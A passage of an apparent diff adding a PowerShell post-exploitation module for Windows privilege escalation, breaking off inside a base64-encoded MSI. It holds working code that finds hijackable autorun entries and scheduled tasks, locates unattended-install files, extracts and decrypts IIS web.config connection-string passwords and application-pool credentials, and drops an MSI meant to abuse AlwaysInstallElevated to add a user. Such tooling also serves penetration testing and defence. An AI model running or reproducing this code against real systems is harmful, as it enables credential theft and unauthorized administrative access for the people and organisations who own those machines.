"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", + "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce", + "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService", + "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService" + ) + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object { + + $Keys = Get-Item -Path $_ + $ParentPath = $_ + + ForEach ($Name in $Keys.GetValueNames()) { + + $Path = $($Keys.GetValue($Name)) + + $Path | Get-ModifiableFile | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Key' "$ParentPath\$Name" + $Out | Add-Member Noteproperty 'Path' $Path + $Out | Add-Member Noteproperty 'ModifiableFile' $_ + $Out + } + } + } + + $ErrorActionPreference = $OrigError +} + + +######################################################## +# +# Misc. +# +######################################################## + +function Get-VulnSchTask { +<# + .SYNOPSIS + + Returns scheduled tasks where the current user can modify + the script associated with the task action. + + .EXAMPLE + + PS C:\> Get-VulnSchTask + + Return vulnerable scheduled tasks. +#> + + [CmdletBinding()]Param() + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + $Path = "$($ENV:windir)\System32\Tasks" + + # recursively enumerate all schtask .xmls + Get-ChildItem -Path $Path -Recurse | Where-Object { ! $_.PSIsContainer } | ForEach-Object { + try { + $TaskName = $_.Name + $TaskXML = [xml] (Get-Content $_.FullName) + if($TaskXML.Task.Triggers) { + + $TaskTrigger = $TaskXML.Task.Triggers.OuterXML + + # check schtask command + $TaskXML.Task.Actions.Exec.Command | Get-ModifiableFile | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'TaskName' $TaskName + $Out | Add-Member Noteproperty 'TaskFilePath' $_ + $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger + $Out + } + + # check schtask arguments + $TaskXML.Task.Actions.Exec.Arguments | Get-ModifiableFile | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'TaskName' $TaskName + $Out | Add-Member Noteproperty 'TaskFilePath' $_ + $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger + $Out + } + } + } + catch { + Write-Debug "Error: $_" + } + } + + $ErrorActionPreference = $OrigError +} + + +function Get-UnattendedInstallFile { +<# + .SYNOPSIS + + Checks several locations for remaining unattended installation files, + which may have deployment credentials. + + .EXAMPLE + + PS C:\> Get-UnattendedInstallFile + + Finds any remaining unattended installation files. + + .LINK + + http://www.fuzzysecurity.com/tutorials/16.html +#> + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + $SearchLocations = @( "c:\sysprep\sysprep.xml", + "c:\sysprep\sysprep.inf", + "c:\sysprep.inf", + (Join-Path $Env:WinDir "\Panther\Unattended.xml"), + (Join-Path $Env:WinDir "\Panther\Unattend\Unattended.xml"), + (Join-Path $Env:WinDir "\Panther\Unattend.xml"), + (Join-Path $Env:WinDir "\Panther\Unattend\Unattend.xml"), + (Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml"), + (Join-Path $Env:WinDir "\System32\Sysprep\Panther\unattend.xml") + ) + + # test the existence of each path and return anything found + $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'UnattendPath' $_ + $Out + } + + $ErrorActionPreference = $OrigError +} + + +function Get-Webconfig { +<# + .SYNOPSIS + + This script will recover cleartext and encrypted connection strings from all web.config + files on the system. Also, it will decrypt them if needed. + + Author: Scott Sutherland - 2014, NetSPI + Author: Antti Rantasaari - 2014, NetSPI + + .DESCRIPTION + + This script will identify all of the web.config files on the system and recover the + connection strings used to support authentication to backend databases. If needed, the + script will also decrypt the connection strings on the fly. The output supports the + pipeline which can be used to convert all of the results into a pretty table by piping + to format-table. + + .EXAMPLE + + Return a list of cleartext and decrypted connect strings from web.config files. + + PS C:\>get-webconfig + user : s1admin + pass : s1password + dbserv : 192.168.1.103\server1 + vdir : C:\test2 + path : C:\test2\web.config + encr : No + + user : s1user + pass : s1password + dbserv : 192.168.1.103\server1 + vdir : C:\inetpub\wwwroot + path : C:\inetpub\wwwroot\web.config + encr : Yes + + .EXAMPLE + + Return a list of clear text and decrypted connect strings from web.config files. + + PS C:\>get-webconfig | Format-Table -Autosize + + user pass dbserv vdir path encr + ---- ---- ------ ---- ---- ---- + s1admin s1password 192.168.1.101\server1 C:\App1 C:\App1\web.config No + s1user s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No + s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\test\web.config No + s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\web.config Yes + s3user s3password 192.168.1.103\server3 D:\App3 D:\App3\web.config No + + .LINK + + https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 + http://www.netspi.com + https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx + http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe + http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx + + .NOTES + + Below is an alterantive method for grabbing connection strings, but it doesn't support decryption. + for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings +#> + + [CmdletBinding()]Param() + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + # Check if appcmd.exe exists + if (Test-Path ("$Env:SystemRoot\System32\InetSRV\appcmd.exe")) { + # Create data table to house results + $DataTable = New-Object System.Data.DataTable + + # Create and name columns in the data table + $Null = $DataTable.Columns.Add("user") + $Null = $DataTable.Columns.Add("pass") + $Null = $DataTable.Columns.Add("dbserv") + $Null = $DataTable.Columns.Add("vdir") + $Null = $DataTable.Columns.Add("path") + $Null = $DataTable.Columns.Add("encr") + + # Get list of virtual directories in IIS + C:\Windows\System32\InetSRV\appcmd.exe list vdir /text:physicalpath | + ForEach-Object { + + $CurrentVdir = $_ + + # Converts CMD style env vars (%) to powershell env vars (env) + if ($_ -like "*%*") { + $EnvarName = "`$Env:"+$_.split("%")[1] + $EnvarValue = Invoke-Expression $EnvarName + $RestofPath = $_.split("%")[2] + $CurrentVdir = $EnvarValue+$RestofPath + } + + # Search for web.config files in each virtual directory + $CurrentVdir | Get-ChildItem -Recurse -Filter web.config | ForEach-Object { + + # Set web.config path + $CurrentPath = $_.fullname + + # Read the data from the web.config xml file + [xml]$ConfigFile = Get-Content $_.fullname + + # Check if the connectionStrings are encrypted + if ($ConfigFile.configuration.connectionStrings.add) { + + # Foreach connection string add to data table + $ConfigFile.configuration.connectionStrings.add| + ForEach-Object { + + [String]$MyConString = $_.connectionString + if($MyConString -like "*password*") { + $ConfUser = $MyConString.Split("=")[3].Split(";")[0] + $ConfPass = $MyConString.Split("=")[4].Split(";")[0] + $ConfServ = $MyConString.Split("=")[1].Split(";")[0] + $ConfVdir = $CurrentVdir + $ConfPath = $CurrentPath + $ConfEnc = "No" + $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) + } + } + + } + else { + + # Find newest version of aspnet_regiis.exe to use (it works with older versions) + $aspnet_regiis_path = Get-ChildItem -Recurse -filter aspnet_regiis.exe c:\Windows\Microsoft.NET\Framework\ | Sort-Object -Descending | Select-Object fullname -First 1 + + # Check if aspnet_regiis.exe exists + if (Test-Path ($aspnet_regiis_path.FullName)){ + + # Setup path for temp web.config to the current user's temp dir + $WebConfigPath = (Get-Item $Env:temp).FullName + "\web.config" + + # Remove existing temp web.config + if (Test-Path ($WebConfigPath)) + { + Remove-Item $WebConfigPath + } + + # Copy web.config from vdir to user temp for decryption + Copy-Item $CurrentPath $WebConfigPath + + #Decrypt web.config in user temp + $aspnet_regiis_cmd = $aspnet_regiis_path.fullname+' -pdf "connectionStrings" (get-item $Env:temp).FullName' + $Null = Invoke-Expression $aspnet_regiis_cmd + + # Read the data from the web.config in temp + [xml]$TMPConfigFile = Get-Content $WebConfigPath + + # Check if the connectionStrings are still encrypted + if ($TMPConfigFile.configuration.connectionStrings.add) + { + + # Foreach connection string add to data table + $TMPConfigFile.configuration.connectionStrings.add | ForEach-Object { + + [String]$MyConString = $_.connectionString + if($MyConString -like "*password*") { + $ConfUser = $MyConString.Split("=")[3].Split(";")[0] + $ConfPass = $MyConString.Split("=")[4].Split(";")[0] + $ConfServ = $MyConString.Split("=")[1].Split(";")[0] + $ConfVdir = $CurrentVdir + $ConfPath = $CurrentPath + $ConfEnc = "Yes" + $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) + } + } + + }else{ + Write-Verbose "Decryption of $CurrentPath failed." + $False + } + }else{ + Write-Verbose "aspnet_regiis.exe does not exist in the default location." + $False + } + } + } + } + + # Check if any connection strings were found + if( $DataTable.rows.Count -gt 0 ) { + + # Display results in list view that can feed into the pipeline + $DataTable | Sort-Object user,pass,dbserv,vdir,path,encr | Select-Object user,pass,dbserv,vdir,path,encr -Unique + } + else { + + # Status user + Write-Verbose "No connectionStrings found." + $False + } + + } + else { + Write-Verbose "Appcmd.exe does not exist in the default location." + $False + } + + $ErrorActionPreference = $OrigError +} + + +function Get-ApplicationHost { + <# + .SYNOPSIS + + This script will recover encrypted application pool and virtual directory passwords from the applicationHost.config on the system. + + .DESCRIPTION + + This script will decrypt and recover application pool and virtual directory passwords + from the applicationHost.config file on the system. The output supports the + pipeline which can be used to convert all of the results into a pretty table by piping + to format-table. + + .EXAMPLE + + Return application pool and virtual directory passwords from the applicationHost.config on the system. + + PS C:\>get-ApplicationHost + user : PoolUser1 + pass : PoolParty1! + type : Application Pool + vdir : NA + apppool : ApplicationPool1 + user : PoolUser2 + pass : PoolParty2! + type : Application Pool + vdir : NA + apppool : ApplicationPool2 + user : VdirUser1 + pass : VdirPassword1! + type : Virtual Directory + vdir : site1/vdir1/ + apppool : NA + user : VdirUser2 + pass : VdirPassword2! + type : Virtual Directory + vdir : site2/ + apppool : NA + + .EXAMPLE + + Return a list of cleartext and decrypted connect strings from web.config files. + + PS C:\>get-ApplicationHost | Format-Table -Autosize + + user pass type vdir apppool + ---- ---- ---- ---- ------- + PoolUser1 PoolParty1! Application Pool NA ApplicationPool1 + PoolUser2 PoolParty2! Application Pool NA ApplicationPool2 + VdirUser1 VdirPassword1! Virtual Directory site1/vdir1/ NA + VdirUser2 VdirPassword2! Virtual Directory site2/ NA + + .LINK + + https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 + http://www.netspi.com + http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe + http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx + + .NOTES + + Author: Scott Sutherland - 2014, NetSPI + Version: Get-ApplicationHost v1.0 + Comments: Should work on IIS 6 and Above +#> + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + # Check if appcmd.exe exists + if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) + { + # Create data table to house results + $DataTable = New-Object System.Data.DataTable + + # Create and name columns in the data table + $Null = $DataTable.Columns.Add("user") + $Null = $DataTable.Columns.Add("pass") + $Null = $DataTable.Columns.Add("type") + $Null = $DataTable.Columns.Add("vdir") + $Null = $DataTable.Columns.Add("apppool") + + # Get list of application pools + Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object { + + #Get application pool name + $PoolName = $_ + + #Get username + $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username" + $PoolUser = Invoke-Expression $PoolUserCmd + + #Get password + $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password" + $PoolPassword = Invoke-Expression $PoolPasswordCmd + + #Check if credentials exists + if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) + { + #Add credentials to database + $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) + } + } + + # Get list of virtual directories + Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object { + + #Get Virtual Directory Name + $VdirName = $_ + + #Get username + $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName" + $VdirUser = Invoke-Expression $VdirUserCmd + + #Get password + $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password" + $VdirPassword = Invoke-Expression $VdirPasswordCmd + + #Check if credentials exists + if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) + { + #Add credentials to database + $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') + } + } + + # Check if any passwords were found + if( $DataTable.rows.Count -gt 0 ) { + # Display results in list view that can feed into the pipeline + $DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique + } + else{ + # Status user + Write-Verbose "No application pool or virtual directory passwords were found." + $False + } + }else{ + Write-Verbose "Appcmd.exe does not exist in the default location." + $False + } + + $ErrorActionPreference = $OrigError +} + + +function Write-UserAddMSI { +<# + .SYNOPSIS + + Writes out a precompiled MSI installer that prompts for a user/group addition. + This function can be used to abuse Get-RegAlwaysInstallElevated. + + .EXAMPLE + + PS C:\> Write-UserAddMSI + + Writes the user add MSI to the local directory. +#> + + $Path = "UserAdd.msi" + + $Binary = "0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgAEAP7/DAAGAAAAAAAAAAEAAAABAAAAAQAAAAAAAAAAEAAAAgAAAAEAAAD+////AAAAAAAAAAD///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP3////+/////v///y8AAAAFAAAABgAAAP7///8IAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAACwAAAAYAAAAFgAAABkAAAAaAAAAGwAAABwAAAAdAAAAHgAAAB8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUAAAAmAAAAJwAAACgAAAApAAAAKgAAACsAAAD+////LQAAAC4AAAAwAAAA/v///zEAAAD+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9SAG8AbwB0ACAARQBuAHQAcgB5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFgAFAP//////////AgAAAIQQDAAAAAAAwAAAAAAAAEYAAAAAAAAAAAAAAABQSJaT62LPAQMAAABAFwAAAAAAAAUAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAIBEAAAABkAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANgBAAAAAAAAQEj/P+RD7EHkRaxEMUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAgEVAAAAAwAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAAEAgAAAAAAABASMpBMEOxOztCJkY3QhxCNEZoRCZCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAACAQQAAAABAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoAAAAwAAAAAAAAAEBIykEwQ7E/Ej8oRThCsUEoSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAIBEgAAAA0AAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKwAAABgAAAAAAAAAQEjKQflFzkaoQfhFKD8oRThCsUEoSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAAAAKgAAAAAAAABASAtDMUE1RwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgACARMAAAAWAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFkAAAAIAAAAAAAAAEBIfz9kQS9CNkgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAIBBgAAAAwAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA